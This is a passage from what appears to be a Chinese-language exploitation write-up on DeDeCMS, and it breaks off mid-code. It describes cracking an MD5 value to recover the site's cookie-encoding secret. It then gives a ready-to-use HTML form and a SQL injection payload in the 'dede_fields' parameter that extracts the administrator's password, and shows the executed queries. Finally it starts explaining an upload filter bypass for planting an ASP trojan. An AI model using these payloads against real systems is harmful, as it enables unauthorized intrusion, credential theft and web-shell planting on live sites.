首先输入待破解的 MD5 码,然后选中①处“Plugins”,选中②处“Templet Plug 2.0”, 在③处输入密码规则:[A-Z][a-z]2[A-Z][a-z][1-9]3[0-9][A-Z],④处对规则做了一些简 单说明,译文如下: 首先,让我们看一些例子:[p][r]3[a-z]2-4{0,3,6-8}。 模式中包括的“[]”或“{}”为基本元素,其中指定字符集,可以用“,”列出字符, 或用“-”表示连接的范围。基本元素之前的数字表示重复次数,不指定时默认为 1。 []和{}的区别: 1、默认(前面无数字)[]是指重复 1 次,{}是指重复 0 或 1 次。 2、前面 1 个数字(如:x[...],x{...}),[]是指重复 x 次,{}是重复 0 到 x 次。 3、前面 2 个数字(如:x-y[...],x-y{...}),[]和{}是相同的,指重复 x 到 y 次。 [...] == 1-1[...] {...} == 0-1{...} 3[...] == 3-3[...] 3{...} == 0-3{...} 有更多的例子: [a][b][c] : abc [a,b,c] == [a-c] : a;b;c {a-c} : NULL;a;b;c 2[a-c] : aa;ab;ac;ba;bb;bc 2{a-c} : NULL;a;b;c;aa;ab;ac;ba;bb;bc;ca;cb;cc 随后就可以开始破解了。一旦获得$cfg_cookie_encode 变量,我们就可以顺利注入,提交 页面代码如下,注意必须将 document.getElementById('dede_fields').value 值中的单引 号替换为转义单引号,即“'”转为“\'”。 <form method="post" action="http://127.1/member/edit_fullinfo.php" name="form1"> dopost:<input type="text" value="save" name="dopost"/><br> modid:<input type="text" value="1" name="modid"/><br> cfg_cookie_encode:<input type="text" value="MhHTi3472T" name="cfg_cookie_encode" /><br> dede_fields:<input type="text" value="" name="dede_fields" size=50/><br> <input type="hidden" value="1" name="dede_fieldshash"/> <button type="submit" onclick="javascript:var s1=document.getElementById('dede_fields').value.replace('\'','\\\'');var s2=document.getElementById('cfg_cookie_encode').value;document.getElementBy Id('dede_fieldshash').value=hex_md5(s1+s2); ">完 成 </button> </form> <script> 利用页面如图 5,提交后完成注入,页面转向后获得管理员的密码,如图 6。 ![]() ![]()
当 dede_fields=@`qq'`;uname=(select pwd from %23@ admin where id=1) where
mid=8%23,int 语 句 执 行 失 败 : UPDATE `dede_member_person` SET `mid`='8' ,@`qq\'` ='' ,uname=(select pwd from #@ admin where id=1) where mid=8# ='0' WHERE `mid`='8'; 当 dede_fields=qq=@`qq'`;uname=(select pwd from %23@ admin where id=1) where mid=8%23,int 语句 执行成功: UPDATE `dede_member_person` SET `mid`='8' ,qq=@`qq\'` ='' ,uname=(select pwd from #@ admin where id=1) where mid=8# ='0' WHERE `mid`='8'; MySql 版本为 5.0.90 测试注入时注意“@”定义变量的用法,“qq=@`qq\'` =''”执行成功,而“@`qq\'` =''” 不会执行成功。 上传漏洞 其实 DeDeCMS 对上传进行了严格的限制。首先使用/include/uploadsafe.inc.php 禁止某些文件类型,如“php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml”,然后上传时再次进行允 许和禁止判断,限制应该是很严格的,但是/include/dialog/select_soft_post.php 文件 存在失误,导致可以绕过这些限制上传 asp 木马文件。主要代码如下: <?php if(!isset($cfg_basedir)) //①如果$cfg_basedir 变量没有定义,则包含 config.php |